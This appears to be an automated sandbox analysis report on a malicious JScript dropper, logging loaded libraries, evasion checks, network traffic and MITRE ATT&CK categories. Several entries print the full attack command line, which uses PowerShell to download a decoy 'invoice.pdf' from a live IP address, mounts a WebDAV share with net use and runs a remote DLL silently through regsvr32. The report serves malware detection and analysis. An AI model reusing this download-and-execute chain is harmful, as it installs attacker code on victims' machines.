Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4391.js.csv");ITextStream.WriteLine(" entry:8280 f:hrxfspviw");ITextStream.WriteLine(" exec:2 f:hrxfspviw");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4640			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5217			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5724	Thread sleep count: 4640 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5724	Thread sleep count: 5217 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5064	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 880	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5712	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7196	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1635498494.00000215D4898000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1635498494.00000215D48FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2852192476.0000026ACDA41000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2852330575.0000026ACDA54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1635498494.00000215D48FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWF
Source: svchost.exe, 00000009.00000002.2850902315.0000026AC822B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`G

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
